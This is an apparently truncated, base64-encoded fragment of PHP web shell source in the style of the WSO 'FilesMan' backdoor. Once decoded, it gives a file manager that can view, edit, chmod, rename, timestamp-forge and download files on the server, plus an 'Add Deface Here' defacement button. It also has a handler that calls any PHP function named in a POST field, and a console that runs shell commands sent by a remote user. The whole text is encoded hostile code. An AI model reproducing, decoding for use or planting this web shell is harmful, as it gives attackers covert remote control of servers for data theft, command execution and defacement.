lJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKS4nIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKICAgICAgICAkbCA9ICRsPzA6MTsKICAgIH0KICAgIGVjaG8gJzx0cj48dGQgY29sc3Bhbj01PgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1cJ0ZpbGVzTWFuXCc+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8c2VsZWN0IG5hbWU9XCdwMVwnPjxvcHRpb24gdmFsdWU9XCdjb3B5XCc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdtb3ZlXCc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdkZWxldGVcJz5EZWxldGU8L29wdGlvbj4nOwogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pJiZAY291bnQoJF9TRVNTSU9OWydmJ10pKXtlY2hvICc8b3B0aW9uIHZhbHVlPVwncGFzdGVcJz5QYXN0ZTwvb3B0aW9uPic7IH0KICAgIGVjaG8gJzwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiI+PC90ZD48dGQgY29sc3Bhbj0iMiIgYWxpZ249InJpZ2h0IiB3aWR0aD0iMSI+PGlucHV0IG5hbWU9ImRlZiIgaWQ9ImRlZiIgdmFsdWU9ImluZGV4Lmh0bSIgc2l6ZT0iMTAiLz4mbmJzcDs8aW5wdXQgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidcJyxcJ2RlZmFjZVwnLGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZGVmXCcpLnZhbHVlKSIgdmFsdWU9IkFkZCBEZWZhY2UgSGVyZSI+PC90ZD48L3RyPgogICAgPC9mb3JtPjwvdGFibGU+PC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBkZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQogICAgICAgICAgICBlY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICRzdHJpbmdUb29scyA9IGFycmF5KAogICAgICAgICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsCiAgICAgICAgJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywKICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsCiAgICAgICAgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLAogICAgICAgICdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLAogICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywKICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLAogICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLAogICAgICAgICdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLAogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywKICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAogICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywKICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsCiAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW4yaGV4JywKICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYycsICAgICAgICAKICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywKICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywKICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLAogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywKICAgICk7CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiAgICBlY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsKICAgIGZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii5odG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwogICAgfQogICAgZWNobyI8L3ByZT48L2Rpdj4iOwogICAgcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewogICAgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewogICAgICAgIGlmKGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpCiAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoaXNfZGlyKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgIH0KICAgICAgICBleGl0OwogICAgfQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7CiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CiAgICAgICAgcHJpbnRGb290ZXIoKTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICBlY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsKICAgIGVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOwogICAgaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsKICAgIGlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQogICAgICAgICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGVsc2UKICAgICAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGZvcmVhY2goJG0gYXMgJHYpCiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsKICAgIGVjaG8gJzxicj48YnI+JzsKICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsKICAgICAgICBjYXNlICd2aWV3JzoKICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogIzAwMDtjb2xvcjpibGFjazsiPic7CiAgICAgICAgICAgICAgICAkY29kZSA9IGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsKICAgICAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnY2htb2QnOgogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICAkcGVybXMgPSAwOwogICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkKICAgICAgICAgICAgICAgICAgICAkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOwogICAgICAgICAgICAgICAgaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZWRpdCc6CiAgICAgICAgICAgIGlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ3AxJ10sJF9QT1NUWydwMyddKTsKICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOwogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwogICAgICAgICAgICBpZigkZnApIHsKICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdoZXhkdW1wJzoKICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsKICAgICAgICAgICAgJGxlbiA9IHN0cmxlbigkYyk7CiAgICAgICAgICAgIGZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgewogICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsKICAgICAgICAgICAgICAgIHN3aXRjaCAoIG9yZCgkY1skaV0pICkgewogICAgICAgICAgICAgICAgICAgIGNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRuKys7CiAgICAgICAgICAgICAgICBpZiAoJG4gPT0gMzIpIHsKICAgICAgICAgICAgICAgICAgICAkbiA9IDA7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30KICAgICAgICAgICAgICAgICAgICAkaFsxXSAuPSAnPGJyPic7CiAgICAgICAgICAgICAgICAgICAgJGhbMl0gLj0gIlxuIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMwMDA+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMwMDA+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMwMDA+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZW5hbWUnOgogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3RvdWNoJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZhaWwhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbWtmaWxlJzoKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2YuY21kLnZhbHVlPScnO1xuIjsKICAgICAgICAkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwogICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgICAgewogICAgICAgICAgICBpZihAY2hkaXIoJG1hdGNoWzFdKSkgewogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOw